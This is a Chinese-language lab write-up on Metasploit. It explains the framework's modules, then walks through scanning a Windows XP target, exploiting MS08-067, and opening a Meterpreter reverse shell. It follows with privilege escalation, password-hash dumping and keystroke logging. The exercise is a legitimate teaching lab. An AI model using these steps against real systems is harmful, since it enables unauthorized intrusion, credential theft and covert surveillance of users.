目录
一、预备知识
1、Metasploit 框架介绍
2、渗透攻击基础
二、实验环境
三、实验步骤
Metasploit框架由库、接口和模块三部分组成,本实验关注的重点是各个接口和模块的功能。interface(控制台、CLI、Web、GUI等)为处理模块(漏洞利用、有效载荷、辅助工具、加密引擎、Nops等)提供操作接口。每个模块都有自己的价值,在渗透测试中起到不同的作用,具体如下:
(1)漏洞利用。漏洞利用是一串验证性代码,主要针对目标系统的特定漏洞开发;
(2)有效载荷。有效载荷是一段恶意代码,也有可能是漏洞验证程序的一部分,还可能是独立编译后用于在目标系统上运行的任意命令;
(3)辅助工具。辅助工具是一个工具集,用于扫描、嗅探、区域拨号、获取指纹及其他安全评估任务。
(4)加密引擎。开发用来加密渗透测试中的有效载荷,以对抗杀毒软件、防火墙、IDS/IPS及其他类似的反恶意软件的查杀;
(5)NOP(空操作)。NOP是一个汇编指令,通常插入shellcode,不起任何作用,只是用来为有效载荷占位。
Meterpreter是Metasploit框架中的一个功能模块,通常作为漏洞溢出后的攻击载荷来使用,攻击载荷能在触发漏洞后返回给攻击者一个控制通道。
(1)msf>show exploit
这个命令会显示Metasploit框架中所有可用的渗透攻击模块。
(2)msf>show auxiliary
这个命令会显示所有的辅助模块以及它们的用途。
(3)msf>show options
当你选择了一个模块,并输入msf>show options后,会列出这个模块所需的各种参数;如果你没有选择任何模块,那么该命令会显示所有的全局参数。
(4)msf>show payload
与show optinos一样,当你在当前模块的命令提示符下输入show payload命令,Metasploit只会将与当前模块兼容的攻击载荷显示出来。
(5)msf>show targets
Metasploit的渗透攻击受到目标操作系统的类型影响,该命令可以设置特定的系统版本。
攻击机:BackTrack 5 r3
靶机:win xp sp3(English)
1、启动MSF Console;
2、攻击机与靶机互ping一下,保证两台主机的网络连通性;
3、用nmap扫描靶机,命令如下:nmap -sT -A --script=smb-check-vulns -PO
注:-sT是指隐秘的TCP连接扫描;-A是指高级操作系统探测功能,它会对一个特定服务进行更深入的旗标和指纹攫取;--script=smb-check-vulns为nmap的一个插件。
由结果可知,靶机上存在一个ms08-067的漏洞。
4、输入“search ms08_067_netapi”命令,查询“ms08_067_netapi”的相关信息;
5、输入“use exploit/windows/smb/ms08_067_netapi”命令,加载这个模块(windows/smb/ms08_067_netapi);并设置攻击载荷为基于windows系统的Meterpreter reverse_tcp,这个载荷在攻击成功后,会从目标主机发起一个反弹连接,连接到LHOST中指定的IP地址(这种反弹可以让你绕过防火墙的入站流量保护,或者穿透NAT网关);
7、因为MS08-067是一个对操作系统版本依赖性很高的漏洞,因此我们在此用"show target"命令显示出这个特定漏洞渗透攻击模块所有可用的目标操作系统版本;
注:攻击成功与否取决于目标主机的操作系统、安装的服务包(Service Pack)版本以及语言类型,同时还依赖是否成功绕过数据执行保护(DEP:Data Execution Prevention)。DEP是为了防止缓冲区溢出攻击而设计的,它将程序堆栈设计为只读,以防止shellcode被恶意放置在堆栈区并执行。
NX(No Execute),不允许执行,即启动了DEP保护。
8、设置target:"set TARGET 6";设置靶机地址:“set RHOST
设置攻击机地址:“set LHOST
注:设置端口参数:最好选择能通过防火墙的常用端口号。
9、输入“exploit”命令初始化攻击环境,并开始对目标进行攻击;
10、在“meterpreter>”后输入“help”命令,可以查看关于Meterpreter的详细使用方法说明;
11、执行完exploit命令后,就已经获得了一个Meterpreter shell。接下来获取系统权限,先执行“getdid”,获取系统的运行账户;
输入“getsystem”命令获取系统权限,此外,也可以输入“getsystem -h”获取针对“getsystem”命令的详细使用方法;
12、输入“sysinfo”命令,查看目标主机的信息;
13、通过“run hashdump”命令,获取系统用户的Hash值;
14、Meterpreter还能记录目标主机的键盘输入信息。首先,输入“ps”命令,查看目标主机上运行的进程;
15、输入“migrate 1588”启动explorer.exe;
16、继续运行“getuid”命令,可以看到已经具有Administrator权限;
17、启动键盘记录命令“keyscan_start”,开始记录键盘信息;
输入“keyscan_dump”,进行键盘输入信息的监听;
在靶机上打开记事本随便输入一些字符, 在BT5上就可以获取键盘输入的信息了;
输入“keysacn_stop”,停止键盘记录。
四、实验中出现的问题:
按照教材,不论是win xp的英文版、win xp的中文版以及windows server 2003中文版,都不能用ms03-026漏洞进行实验,会报错,如下图:
(1)操作系统用win xp英文版;
(2)漏洞用ms08-067;